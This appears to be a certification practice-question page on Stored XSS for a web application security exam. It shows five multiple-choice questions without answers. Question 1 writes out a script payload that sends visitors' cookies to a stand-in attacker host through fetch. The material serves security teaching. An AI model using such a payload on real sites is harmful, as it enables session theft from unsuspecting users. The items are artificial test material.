Examers.io
ExamsOrganizationsHow it worksPricingHelp & FAQ
EC-Council logo

EC-CouncilWeb Application Hacking and Security

Domain 3Objective 2

Stored XSS WAHS Practice Questions (Page 1)

Part of the Cross-Site Scripting (XSS) domain, which makes up ~11% of our current practice bank. EC-Council does not publish an official question count, but from its 360-minute exam (~145–240 total, ~16–26 in this domain), expect 5–9 from this objective — we provide 38 practice questions to prepare you well beyond it. (estimate)

38questions here
8free pages
6concepts

Questions 1–5

  1. 1application · medium

    A support forum allows users to post messages that are displayed to all visitors. An attacker submits a post containing `<script>fetch('//evil.example/steal?c='+document.cookie)</script>`. The script executes in the browser of every user who views the forum page. Which characteristic of Stored XSS is demonstrated by this attack?

    Select an answer first
  2. 2application · medium

    A popular blog allows anonymous comments. An attacker posts a comment containing a script that steals the session cookie of any logged-in user who views the comment. Which impact is MOST directly illustrated by this scenario?

    Select an answer first
  3. 3foundation · easy

    Which countermeasure is most effective at preventing Stored XSS when displaying user-supplied content?

    Select an answer first
  4. 4application · medium

    An online store has a product review section. An attacker posts a review containing a malicious script. Later, the store's administrator logs in and views the product page, which displays all reviews. The script executes and sends the administrator's session cookie to an external server. Which step of the Stored XSS attack flow is most directly demonstrated by the script executing in the administrator's browser?

    Select an answer first
  5. 5application · medium

    A company runs a customer review platform. A security audit reveals that the review text is vulnerable to stored XSS. The development team wants to implement a defense-in-depth approach. Which combination of controls is most effective?

    Select an answer first
Finished these 5 questions?

Review the revealed explanations, or continue through the curriculum.

Free Basic Practice is a study aid with revealable answers — not a scored exam. Examers.io is independent and not affiliated with or endorsed by EC-Council. “WAHS” is a trademark of its owner, used for identification only.